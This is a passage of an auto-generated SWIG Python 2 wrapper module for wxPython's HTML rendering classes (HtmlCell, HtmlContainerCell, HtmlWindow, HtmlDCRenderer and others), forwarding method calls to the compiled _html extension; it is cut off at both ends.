\n_html.HtmlRenderingInfo_swigregister(HtmlRenderingInfo)\n\n#---------------------------------------------------------------------------\n\nHTML_FIND_EXACT = _html.HTML_FIND_EXACT\nHTML_FIND_NEAREST_BEFORE = _html.HTML_FIND_NEAREST_BEFORE\nHTML_FIND_NEAREST_AFTER = _html.HTML_FIND_NEAREST_AFTER\nclass HtmlCell(_core.Object):\n \"\"\"Proxy of C++ HtmlCell class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlCell\"\"\"\n _html.HtmlCell_swiginit(self,_html.new_HtmlCell(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlCell\n __del__ = lambda self : None;\n def GetPosX(*args, **kwargs):\n \"\"\"GetPosX(self) -> int\"\"\"\n return _html.HtmlCell_GetPosX(*args, **kwargs)\n\n def GetPosY(*args, **kwargs):\n \"\"\"GetPosY(self) -> int\"\"\"\n return _html.HtmlCell_GetPosY(*args, **kwargs)\n\n def GetWidth(*args, **kwargs):\n \"\"\"GetWidth(self) -> int\"\"\"\n return _html.HtmlCell_GetWidth(*args, **kwargs)\n\n def GetHeight(*args, **kwargs):\n \"\"\"GetHeight(self) -> int\"\"\"\n return _html.HtmlCell_GetHeight(*args, **kwargs)\n\n def GetDescent(*args, **kwargs):\n \"\"\"GetDescent(self) -> int\"\"\"\n return _html.HtmlCell_GetDescent(*args, **kwargs)\n\n def GetMaxTotalWidth(*args, **kwargs):\n \"\"\"GetMaxTotalWidth(self) -> int\"\"\"\n return _html.HtmlCell_GetMaxTotalWidth(*args, **kwargs)\n\n def GetId(*args, **kwargs):\n \"\"\"GetId(self) -> String\"\"\"\n return _html.HtmlCell_GetId(*args, **kwargs)\n\n def SetId(*args, **kwargs):\n \"\"\"SetId(self, String id)\"\"\"\n return _html.HtmlCell_SetId(*args, **kwargs)\n\n def GetLink(*args, **kwargs):\n \"\"\"GetLink(self, int x=0, int y=0) -> HtmlLinkInfo\"\"\"\n return _html.HtmlCell_GetLink(*args, **kwargs)\n\n def GetNext(*args, **kwargs):\n \"\"\"GetNext(self) -> HtmlCell\"\"\"\n return _html.HtmlCell_GetNext(*args, **kwargs)\n\n def GetParent(*args, **kwargs):\n \"\"\"GetParent(self) -> HtmlContainerCell\"\"\"\n return _html.HtmlCell_GetParent(*args, **kwargs)\n\n def GetFirstChild(*args, **kwargs):\n \"\"\"GetFirstChild(self) -> HtmlCell\"\"\"\n return _html.HtmlCell_GetFirstChild(*args, **kwargs)\n\n def GetMouseCursor(*args, **kwargs):\n \"\"\"GetMouseCursor(self, HtmlWindowInterface window) -> Cursor\"\"\"\n return _html.HtmlCell_GetMouseCursor(*args, **kwargs)\n\n def GetCursor(*args, **kwargs):\n \"\"\"GetCursor(self) -> Cursor\"\"\"\n return _html.HtmlCell_GetCursor(*args, **kwargs)\n\n GetCursor = wx._deprecated(GetCursor) \n def IsFormattingCell(*args, **kwargs):\n \"\"\"IsFormattingCell(self) -> bool\"\"\"\n return _html.HtmlCell_IsFormattingCell(*args, **kwargs)\n\n def SetLink(*args, **kwargs):\n \"\"\"SetLink(self, HtmlLinkInfo link)\"\"\"\n return _html.HtmlCell_SetLink(*args, **kwargs)\n\n def SetNext(*args, **kwargs):\n \"\"\"SetNext(self, HtmlCell cell)\"\"\"\n return _html.HtmlCell_SetNext(*args, **kwargs)\n\n def SetParent(*args, **kwargs):\n \"\"\"SetParent(self, HtmlContainerCell p)\"\"\"\n return _html.HtmlCell_SetParent(*args, **kwargs)\n\n def SetPos(*args, **kwargs):\n \"\"\"SetPos(self, int x, int y)\"\"\"\n return _html.HtmlCell_SetPos(*args, **kwargs)\n\n def Layout(*args, **kwargs):\n \"\"\"Layout(self, int w)\"\"\"\n return _html.HtmlCell_Layout(*args, **kwargs)\n\n def Draw(*args, **kwargs):\n \"\"\"Draw(self, DC dc, int x, int y, int view_y1, int view_y2, HtmlRenderingInfo info)\"\"\"\n return _html.HtmlCell_Draw(*args, **kwargs)\n\n def DrawInvisible(*args, **kwargs):\n \"\"\"DrawInvisible(self, DC dc, int x, int y, HtmlRenderingInfo info)\"\"\"\n return _html.HtmlCell_DrawInvisible(*args, **kwargs)\n\n def Find(*args, **kwargs):\n \"\"\"Find(self, int condition, void param) -> HtmlCell\"\"\"\n return _html.HtmlCell_Find(*args, **kwargs)\n\n def ProcessMouseClick(*args, **kwargs):\n \"\"\"ProcessMouseClick(self, HtmlWindowInterface window, Point pos, MouseEvent event) -> bool\"\"\"\n return _html.HtmlCell_ProcessMouseClick(*args, **kwargs)\n\n def SetCanLiveOnPagebreak(*args, **kwargs):\n \"\"\"SetCanLiveOnPagebreak(self, bool can)\"\"\"\n return _html.HtmlCell_SetCanLiveOnPagebreak(*args, **kwargs)\n\n def IsLinebreakAllowed(*args, **kwargs):\n \"\"\"IsLinebreakAllowed(self) -> bool\"\"\"\n return _html.HtmlCell_IsLinebreakAllowed(*args, **kwargs)\n\n def IsTerminalCell(*args, **kwargs):\n \"\"\"IsTerminalCell(self) -> bool\"\"\"\n return _html.HtmlCell_IsTerminalCell(*args, **kwargs)\n\n def FindCellByPos(*args, **kwargs):\n \"\"\"FindCellByPos(self, int x, int y, unsigned int flags=HTML_FIND_EXACT) -> HtmlCell\"\"\"\n return _html.HtmlCell_FindCellByPos(*args, **kwargs)\n\n def GetAbsPos(*args, **kwargs):\n \"\"\"GetAbsPos(self, HtmlCell rootCell=None) -> Point\"\"\"\n return _html.HtmlCell_GetAbsPos(*args, **kwargs)\n\n def GetRootCell(*args, **kwargs):\n \"\"\"GetRootCell(self) -> HtmlCell\"\"\"\n return _html.HtmlCell_GetRootCell(*args, **kwargs)\n\n def GetFirstTerminal(*args, **kwargs):\n \"\"\"GetFirstTerminal(self) -> HtmlCell\"\"\"\n return _html.HtmlCell_GetFirstTerminal(*args, **kwargs)\n\n def GetLastTerminal(*args, **kwargs):\n \"\"\"GetLastTerminal(self) -> HtmlCell\"\"\"\n return _html.HtmlCell_GetLastTerminal(*args, **kwargs)\n\n def GetDepth(*args, **kwargs):\n \"\"\"GetDepth(self) -> unsigned int\"\"\"\n return _html.HtmlCell_GetDepth(*args, **kwargs)\n\n def IsBefore(*args, **kwargs):\n \"\"\"IsBefore(self, HtmlCell cell) -> bool\"\"\"\n return _html.HtmlCell_IsBefore(*args, **kwargs)\n\n def ConvertToText(*args, **kwargs):\n \"\"\"ConvertToText(self, HtmlSelection sel) -> String\"\"\"\n return _html.HtmlCell_ConvertToText(*args, **kwargs)\n\n Cursor = property(GetCursor,doc=\"See `GetCursor`\") \n Depth = property(GetDepth,doc=\"See `GetDepth`\") \n Descent = property(GetDescent,doc=\"See `GetDescent`\") \n FirstChild = property(GetFirstChild,doc=\"See `GetFirstChild`\") \n FirstTerminal = property(GetFirstTerminal,doc=\"See `GetFirstTerminal`\") \n Height = property(GetHeight,doc=\"See `GetHeight`\") \n Id = property(GetId,SetId,doc=\"See `GetId` and `SetId`\") \n LastTerminal = property(GetLastTerminal,doc=\"See `GetLastTerminal`\") \n Link = property(GetLink,SetLink,doc=\"See `GetLink` and `SetLink`\") \n MaxTotalWidth = property(GetMaxTotalWidth,doc=\"See `GetMaxTotalWidth`\") \n MouseCursor = property(GetMouseCursor,doc=\"See `GetMouseCursor`\") \n Next = property(GetNext,SetNext,doc=\"See `GetNext` and `SetNext`\") \n Parent = property(GetParent,SetParent,doc=\"See `GetParent` and `SetParent`\") \n PosX = property(GetPosX,doc=\"See `GetPosX`\") \n PosY = property(GetPosY,doc=\"See `GetPosY`\") \n RootCell = property(GetRootCell,doc=\"See `GetRootCell`\") \n Width = property(GetWidth,doc=\"See `GetWidth`\") \n_html.HtmlCell_swigregister(HtmlCell)\n\nclass HtmlWordCell(HtmlCell):\n \"\"\"Proxy of C++ HtmlWordCell class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String word, DC dc) -> HtmlWordCell\"\"\"\n _html.HtmlWordCell_swiginit(self,_html.new_HtmlWordCell(*args, **kwargs))\n def ConvertToText(*args, **kwargs):\n \"\"\"ConvertToText(self, HtmlSelection sel) -> String\"\"\"\n return _html.HtmlWordCell_ConvertToText(*args, **kwargs)\n\n def IsLinebreakAllowed(*args, **kwargs):\n \"\"\"IsLinebreakAllowed(self) -> bool\"\"\"\n return _html.HtmlWordCell_IsLinebreakAllowed(*args, **kwargs)\n\n def SetPreviousWord(*args, **kwargs):\n \"\"\"SetPreviousWord(self, HtmlWordCell cell)\"\"\"\n return _html.HtmlWordCell_SetPreviousWord(*args, **kwargs)\n\n_html.HtmlWordCell_swigregister(HtmlWordCell)\n\nclass HtmlContainerCell(HtmlCell):\n \"\"\"Proxy of C++ HtmlContainerCell class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, HtmlContainerCell parent) -> HtmlContainerCell\"\"\"\n _html.HtmlContainerCell_swiginit(self,_html.new_HtmlContainerCell(*args, **kwargs))\n def InsertCell(*args, **kwargs):\n \"\"\"InsertCell(self, HtmlCell cell)\"\"\"\n return _html.HtmlContainerCell_InsertCell(*args, **kwargs)\n\n def SetAlignHor(*args, **kwargs):\n \"\"\"SetAlignHor(self, int al)\"\"\"\n return _html.HtmlContainerCell_SetAlignHor(*args, **kwargs)\n\n def GetAlignHor(*args, **kwargs):\n \"\"\"GetAlignHor(self) -> int\"\"\"\n return _html.HtmlContainerCell_GetAlignHor(*args, **kwargs)\n\n def SetAlignVer(*args, **kwargs):\n \"\"\"SetAlignVer(self, int al)\"\"\"\n return _html.HtmlContainerCell_SetAlignVer(*args, **kwargs)\n\n def GetAlignVer(*args, **kwargs):\n \"\"\"GetAlignVer(self) -> int\"\"\"\n return _html.HtmlContainerCell_GetAlignVer(*args, **kwargs)\n\n def SetIndent(*args, **kwargs):\n \"\"\"SetIndent(self, int i, int what, int units=HTML_UNITS_PIXELS)\"\"\"\n return _html.HtmlContainerCell_SetIndent(*args, **kwargs)\n\n def GetIndent(*args, **kwargs):\n \"\"\"GetIndent(self, int ind) -> int\"\"\"\n return _html.HtmlContainerCell_GetIndent(*args, **kwargs)\n\n def GetIndentUnits(*args, **kwargs):\n \"\"\"GetIndentUnits(self, int ind) -> int\"\"\"\n return _html.HtmlContainerCell_GetIndentUnits(*args, **kwargs)\n\n def SetAlign(*args, **kwargs):\n \"\"\"SetAlign(self, HtmlTag tag)\"\"\"\n return _html.HtmlContainerCell_SetAlign(*args, **kwargs)\n\n def SetWidthFloat(*args, **kwargs):\n \"\"\"SetWidthFloat(self, int w, int units)\"\"\"\n return _html.HtmlContainerCell_SetWidthFloat(*args, **kwargs)\n\n def SetWidthFloatFromTag(*args, **kwargs):\n \"\"\"SetWidthFloatFromTag(self, HtmlTag tag)\"\"\"\n return _html.HtmlContainerCell_SetWidthFloatFromTag(*args, **kwargs)\n\n def SetMinHeight(*args, **kwargs):\n \"\"\"SetMinHeight(self, int h, int align=HTML_ALIGN_TOP)\"\"\"\n return _html.HtmlContainerCell_SetMinHeight(*args, **kwargs)\n\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"SetBackgroundColour(self, Colour clr)\"\"\"\n return _html.HtmlContainerCell_SetBackgroundColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _html.HtmlContainerCell_GetBackgroundColour(*args, **kwargs)\n\n def SetBorder(*args, **kwargs):\n \"\"\"SetBorder(self, Colour clr1, Colour clr2)\"\"\"\n return _html.HtmlContainerCell_SetBorder(*args, **kwargs)\n\n def GetFirstChild(*args, **kwargs):\n \"\"\"GetFirstChild(self) -> HtmlCell\"\"\"\n return _html.HtmlContainerCell_GetFirstChild(*args, **kwargs)\n\n AlignHor = property(GetAlignHor,SetAlignHor,doc=\"See `GetAlignHor` and `SetAlignHor`\") \n AlignVer = property(GetAlignVer,SetAlignVer,doc=\"See `GetAlignVer` and `SetAlignVer`\") \n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc=\"See `GetBackgroundColour` and `SetBackgroundColour`\") \n FirstChild = property(GetFirstChild,doc=\"See `GetFirstChild`\") \n Indent = property(GetIndent,SetIndent,doc=\"See `GetIndent` and `SetIndent`\") \n IndentUnits = property(GetIndentUnits,doc=\"See `GetIndentUnits`\") \n_html.HtmlContainerCell_swigregister(HtmlContainerCell)\n\nclass HtmlColourCell(HtmlCell):\n \"\"\"Proxy of C++ HtmlColourCell class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Colour clr, int flags=HTML_CLR_FOREGROUND) -> HtmlColourCell\"\"\"\n _html.HtmlColourCell_swiginit(self,_html.new_HtmlColourCell(*args, **kwargs))\n_html.HtmlColourCell_swigregister(HtmlColourCell)\n\nclass HtmlFontCell(HtmlCell):\n \"\"\"Proxy of C++ HtmlFontCell class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Font font) -> HtmlFontCell\"\"\"\n _html.HtmlFontCell_swiginit(self,_html.new_HtmlFontCell(*args, **kwargs))\n_html.HtmlFontCell_swigregister(HtmlFontCell)\n\nclass HtmlWidgetCell(HtmlCell):\n \"\"\"Proxy of C++ HtmlWidgetCell class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Window wnd, int w=0) -> HtmlWidgetCell\"\"\"\n _html.HtmlWidgetCell_swiginit(self,_html.new_HtmlWidgetCell(*args, **kwargs))\n_html.HtmlWidgetCell_swigregister(HtmlWidgetCell)\n\n#---------------------------------------------------------------------------\n\nclass HtmlFilter(_core.Object):\n \"\"\"Proxy of C++ HtmlFilter class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlFilter\"\"\"\n _html.HtmlFilter_swiginit(self,_html.new_HtmlFilter(*args, **kwargs))\n HtmlFilter._setCallbackInfo(self, self, HtmlFilter)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _html.HtmlFilter__setCallbackInfo(*args, **kwargs)\n\n_html.HtmlFilter_swigregister(HtmlFilter)\n\nclass HtmlWindowInterface(object):\n \"\"\"Proxy of C++ HtmlWindowInterface class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _html.delete_HtmlWindowInterface\n __del__ = lambda self : None;\n def SetHTMLWindowTitle(*args, **kwargs):\n \"\"\"SetHTMLWindowTitle(self, String title)\"\"\"\n return _html.HtmlWindowInterface_SetHTMLWindowTitle(*args, **kwargs)\n\n def HTMLCoordsToWindow(*args, **kwargs):\n \"\"\"HTMLCoordsToWindow(self, HtmlCell cell, Point pos) -> Point\"\"\"\n return _html.HtmlWindowInterface_HTMLCoordsToWindow(*args, **kwargs)\n\n def GetHTMLWindow(*args, **kwargs):\n \"\"\"GetHTMLWindow(self) -> Window\"\"\"\n return _html.HtmlWindowInterface_GetHTMLWindow(*args, **kwargs)\n\n def GetHTMLBackgroundColour(*args, **kwargs):\n \"\"\"GetHTMLBackgroundColour(self) -> Colour\"\"\"\n return _html.HtmlWindowInterface_GetHTMLBackgroundColour(*args, **kwargs)\n\n def SetHTMLBackgroundColour(*args, **kwargs):\n \"\"\"SetHTMLBackgroundColour(self, Colour clr)\"\"\"\n return _html.HtmlWindowInterface_SetHTMLBackgroundColour(*args, **kwargs)\n\n def SetHTMLBackgroundImage(*args, **kwargs):\n \"\"\"SetHTMLBackgroundImage(self, Bitmap bmpBg)\"\"\"\n return _html.HtmlWindowInterface_SetHTMLBackgroundImage(*args, **kwargs)\n\n def SetHTMLStatusText(*args, **kwargs):\n \"\"\"SetHTMLStatusText(self, String text)\"\"\"\n return _html.HtmlWindowInterface_SetHTMLStatusText(*args, **kwargs)\n\n HTMLCursor_Default = _html.HtmlWindowInterface_HTMLCursor_Default\n HTMLCursor_Link = _html.HtmlWindowInterface_HTMLCursor_Link\n HTMLCursor_Text = _html.HtmlWindowInterface_HTMLCursor_Text\n HTMLBackgroundColour = property(GetHTMLBackgroundColour,SetHTMLBackgroundColour,doc=\"See `GetHTMLBackgroundColour` and `SetHTMLBackgroundColour`\") \n HTMLWindow = property(GetHTMLWindow,doc=\"See `GetHTMLWindow`\") \n_html.HtmlWindowInterface_swigregister(HtmlWindowInterface)\n\n#---------------------------------------------------------------------------\n\nclass HtmlWindow(_windows.ScrolledWindow):\n \"\"\"Proxy of C++ HtmlWindow class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, int style=HW_DEFAULT_STYLE, \n String name=HtmlWindowNameStr) -> HtmlWindow\n \"\"\"\n _html.HtmlWindow_swiginit(self,_html.new_HtmlWindow(*args, **kwargs))\n self._setOORInfo(self);HtmlWindow._setCallbackInfo(self, self, HtmlWindow)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, int style=HW_SCROLLBAR_AUTO, \n String name=HtmlWindowNameStr) -> bool\n \"\"\"\n return _html.HtmlWindow_Create(*args, **kwargs)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _html.HtmlWindow__setCallbackInfo(*args, **kwargs)\n\n def SetPage(*args, **kwargs):\n \"\"\"SetPage(self, String source) -> bool\"\"\"\n return _html.HtmlWindow_SetPage(*args, **kwargs)\n\n def LoadPage(*args, **kwargs):\n \"\"\"LoadPage(self, String location) -> bool\"\"\"\n return _html.HtmlWindow_LoadPage(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"LoadFile(self, String filename) -> bool\"\"\"\n return _html.HtmlWindow_LoadFile(*args, **kwargs)\n\n def AppendToPage(*args, **kwargs):\n \"\"\"AppendToPage(self, String source) -> bool\"\"\"\n return _html.HtmlWindow_AppendToPage(*args, **kwargs)\n\n def GetOpenedPage(*args, **kwargs):\n \"\"\"GetOpenedPage(self) -> String\"\"\"\n return _html.HtmlWindow_GetOpenedPage(*args, **kwargs)\n\n def GetOpenedAnchor(*args, **kwargs):\n \"\"\"GetOpenedAnchor(self) -> String\"\"\"\n return _html.HtmlWindow_GetOpenedAnchor(*args, **kwargs)\n\n def GetOpenedPageTitle(*args, **kwargs):\n \"\"\"GetOpenedPageTitle(self) -> String\"\"\"\n return _html.HtmlWindow_GetOpenedPageTitle(*args, **kwargs)\n\n def SetRelatedFrame(*args, **kwargs):\n \"\"\"SetRelatedFrame(self, Frame frame, String format)\"\"\"\n return _html.HtmlWindow_SetRelatedFrame(*args, **kwargs)\n\n def GetRelatedFrame(*args, **kwargs):\n \"\"\"GetRelatedFrame(self) -> Frame\"\"\"\n return _html.HtmlWindow_GetRelatedFrame(*args, **kwargs)\n\n def SetRelatedStatusBar(*args, **kwargs):\n \"\"\"SetRelatedStatusBar(self, int bar)\"\"\"\n return _html.HtmlWindow_SetRelatedStatusBar(*args, **kwargs)\n\n def SetFonts(*args, **kwargs):\n \"\"\"SetFonts(self, String normal_face, String fixed_face, PyObject sizes=None)\"\"\"\n return _html.HtmlWindow_SetFonts(*args, **kwargs)\n\n def SetStandardFonts(*args, **kwargs):\n \"\"\"SetStandardFonts(self, int size=-1, String normal_face=EmptyString, String fixed_face=EmptyString)\"\"\"\n return _html.HtmlWindow_SetStandardFonts(*args, **kwargs)\n\n def SetBorders(*args, **kwargs):\n \"\"\"SetBorders(self, int b)\"\"\"\n return _html.HtmlWindow_SetBorders(*args, **kwargs)\n\n def SetBackgroundImage(*args, **kwargs):\n \"\"\"SetBackgroundImage(self, Bitmap bmpBg)\"\"\"\n return _html.HtmlWindow_SetBackgroundImage(*args, **kwargs)\n\n def ReadCustomization(*args, **kwargs):\n \"\"\"ReadCustomization(self, ConfigBase cfg, String path=EmptyString)\"\"\"\n return _html.HtmlWindow_ReadCustomization(*args, **kwargs)\n\n def WriteCustomization(*args, **kwargs):\n \"\"\"WriteCustomization(self, ConfigBase cfg, String path=EmptyString)\"\"\"\n return _html.HtmlWindow_WriteCustomization(*args, **kwargs)\n\n def HistoryBack(*args, **kwargs):\n \"\"\"HistoryBack(self) -> bool\"\"\"\n return _html.HtmlWindow_HistoryBack(*args, **kwargs)\n\n def HistoryForward(*args, **kwargs):\n \"\"\"HistoryForward(self) -> bool\"\"\"\n return _html.HtmlWindow_HistoryForward(*args, **kwargs)\n\n def HistoryCanBack(*args, **kwargs):\n \"\"\"HistoryCanBack(self) -> bool\"\"\"\n return _html.HtmlWindow_HistoryCanBack(*args, **kwargs)\n\n def HistoryCanForward(*args, **kwargs):\n \"\"\"HistoryCanForward(self) -> bool\"\"\"\n return _html.HtmlWindow_HistoryCanForward(*args, **kwargs)\n\n def HistoryClear(*args, **kwargs):\n \"\"\"HistoryClear(self)\"\"\"\n return _html.HtmlWindow_HistoryClear(*args, **kwargs)\n\n def GetInternalRepresentation(*args, **kwargs):\n \"\"\"GetInternalRepresentation(self) -> HtmlContainerCell\"\"\"\n return _html.HtmlWindow_GetInternalRepresentation(*args, **kwargs)\n\n def GetParser(*args, **kwargs):\n \"\"\"GetParser(self) -> HtmlWinParser\"\"\"\n return _html.HtmlWindow_GetParser(*args, **kwargs)\n\n def ScrollToAnchor(*args, **kwargs):\n \"\"\"ScrollToAnchor(self, String anchor) -> bool\"\"\"\n return _html.HtmlWindow_ScrollToAnchor(*args, **kwargs)\n\n def HasAnchor(*args, **kwargs):\n \"\"\"HasAnchor(self, String anchor) -> bool\"\"\"\n return _html.HtmlWindow_HasAnchor(*args, **kwargs)\n\n def AddFilter(*args, **kwargs):\n \"\"\"AddFilter(HtmlFilter filter)\"\"\"\n return _html.HtmlWindow_AddFilter(*args, **kwargs)\n\n AddFilter = staticmethod(AddFilter)\n def SelectWord(*args, **kwargs):\n \"\"\"SelectWord(self, Point pos)\"\"\"\n return _html.HtmlWindow_SelectWord(*args, **kwargs)\n\n def SelectLine(*args, **kwargs):\n \"\"\"SelectLine(self, Point pos)\"\"\"\n return _html.HtmlWindow_SelectLine(*args, **kwargs)\n\n def SelectAll(*args, **kwargs):\n \"\"\"SelectAll(self)\"\"\"\n return _html.HtmlWindow_SelectAll(*args, **kwargs)\n\n def SelectionToText(*args, **kwargs):\n \"\"\"SelectionToText(self) -> String\"\"\"\n return _html.HtmlWindow_SelectionToText(*args, **kwargs)\n\n def ToText(*args, **kwargs):\n \"\"\"ToText(self) -> String\"\"\"\n return _html.HtmlWindow_ToText(*args, **kwargs)\n\n def OnLinkClicked(*args, **kwargs):\n \"\"\"OnLinkClicked(self, HtmlLinkInfo link)\"\"\"\n return _html.HtmlWindow_OnLinkClicked(*args, **kwargs)\n\n def OnSetTitle(*args, **kwargs):\n \"\"\"OnSetTitle(self, String title)\"\"\"\n return _html.HtmlWindow_OnSetTitle(*args, **kwargs)\n\n def OnCellMouseHover(*args, **kwargs):\n \"\"\"OnCellMouseHover(self, HtmlCell cell, int x, int y)\"\"\"\n return _html.HtmlWindow_OnCellMouseHover(*args, **kwargs)\n\n def OnCellClicked(*args, **kwargs):\n \"\"\"OnCellClicked(self, HtmlCell cell, int x, int y, MouseEvent event) -> bool\"\"\"\n return _html.HtmlWindow_OnCellClicked(*args, **kwargs)\n\n def OnOpeningURL(*args, **kwargs):\n \"\"\"OnOpeningURL(self, int type, String url, String redirect) -> int\"\"\"\n return _html.HtmlWindow_OnOpeningURL(*args, **kwargs)\n\n def base_OnLinkClicked(*args, **kw):\n return HtmlWindow.OnLinkClicked(*args, **kw)\n base_OnLinkClicked = wx._deprecated(base_OnLinkClicked,\n \"Please use HtmlWindow.OnLinkClicked instead.\")\n\n def base_OnSetTitle(*args, **kw):\n return HtmlWindow.OnSetTitle(*args, **kw)\n base_OnSetTitle = wx._deprecated(base_OnSetTitle,\n \"Please use HtmlWindow.OnSetTitle instead.\")\n\n def base_OnCellMouseHover(*args, **kw):\n return HtmlWindow.OnCellMouseHover(*args, **kw)\n base_OnCellMouseHover = wx._deprecated(base_OnCellMouseHover,\n \"Please use HtmlWindow.OnCellMouseHover instead.\")\n\n def base_OnCellClicked(*args, **kw):\n return HtmlWindow.OnCellClicked(*args, **kw)\n base_OnCellClicked = wx._deprecated(base_OnCellClicked,\n \"Please use HtmlWindow.OnCellClicked instead.\")\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _html.HtmlWindow_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n HTMLCursor_Default = _html.HtmlWindow_HTMLCursor_Default\n HTMLCursor_Link = _html.HtmlWindow_HTMLCursor_Link\n HTMLCursor_Text = _html.HtmlWindow_HTMLCursor_Text\n def GetDefaultHTMLCursor(*args, **kwargs):\n \"\"\"GetDefaultHTMLCursor(int type) -> Cursor\"\"\"\n return _html.HtmlWindow_GetDefaultHTMLCursor(*args, **kwargs)\n\n GetDefaultHTMLCursor = staticmethod(GetDefaultHTMLCursor)\n InternalRepresentation = property(GetInternalRepresentation,doc=\"See `GetInternalRepresentation`\") \n OpenedAnchor = property(GetOpenedAnchor,doc=\"See `GetOpenedAnchor`\") \n OpenedPage = property(GetOpenedPage,doc=\"See `GetOpenedPage`\") \n OpenedPageTitle = property(GetOpenedPageTitle,doc=\"See `GetOpenedPageTitle`\") \n Parser = property(GetParser,doc=\"See `GetParser`\") \n RelatedFrame = property(GetRelatedFrame,doc=\"See `GetRelatedFrame`\") \n_html.HtmlWindow_swigregister(HtmlWindow)\n\ndef PreHtmlWindow(*args, **kwargs):\n \"\"\"PreHtmlWindow() -> HtmlWindow\"\"\"\n val = _html.new_PreHtmlWindow(*args, **kwargs)\n return val\n\ndef HtmlWindow_AddFilter(*args, **kwargs):\n \"\"\"HtmlWindow_AddFilter(HtmlFilter filter)\"\"\"\n return _html.HtmlWindow_AddFilter(*args, **kwargs)\n\ndef HtmlWindow_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n HtmlWindow_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _html.HtmlWindow_GetClassDefaultAttributes(*args, **kwargs)\n\ndef HtmlWindow_GetDefaultHTMLCursor(*args, **kwargs):\n \"\"\"HtmlWindow_GetDefaultHTMLCursor(int type) -> Cursor\"\"\"\n return _html.HtmlWindow_GetDefaultHTMLCursor(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass HtmlDCRenderer(_core.Object):\n \"\"\"Proxy of C++ HtmlDCRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> HtmlDCRenderer\"\"\"\n _html.HtmlDCRenderer_swiginit(self,_html.new_HtmlDCRenderer(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlDCRenderer\n __del__ = lambda self : None;\n def SetDC(*args, **kwargs):\n \"\"\"SetDC(self, DC dc, int maxwidth)\"\"\"\n return _html.HtmlDCRenderer_SetDC(*args, **kwargs)\n\n def SetSize(*args, **kwargs):\n \"\"\"SetSize(self, int width, int height)\"\"\"\n return _html.HtmlDCRenderer_SetSize(*args, **kwargs)\n\n def SetHtmlText(*args, **kwargs):\n \"\"\"SetHtmlText(self, String html, String basepath=EmptyString, bool isdir=True)\"\"\"\n return _html.HtmlDCRenderer_SetHtmlText(*args, **kwargs)\n\n def SetFonts(*args, **kwargs):\n \"\"\"SetFonts(self, String normal_face, String fixed_face, PyObject sizes=None)\"\"\"\n return _html.HtmlDCRenderer_SetFonts(*args, **kwargs)\n\n def SetStandardFonts(*args, **kwargs):\n \"\"\"SetStandardFonts(self, int size=-1, String normal_face=EmptyString, String fixed_face=EmptyString)\"\"\"\n return _html.HtmlDCRenderer_SetStandardFonts(*args, **kwargs)\n\n def Render(*args, **kwargs):\n 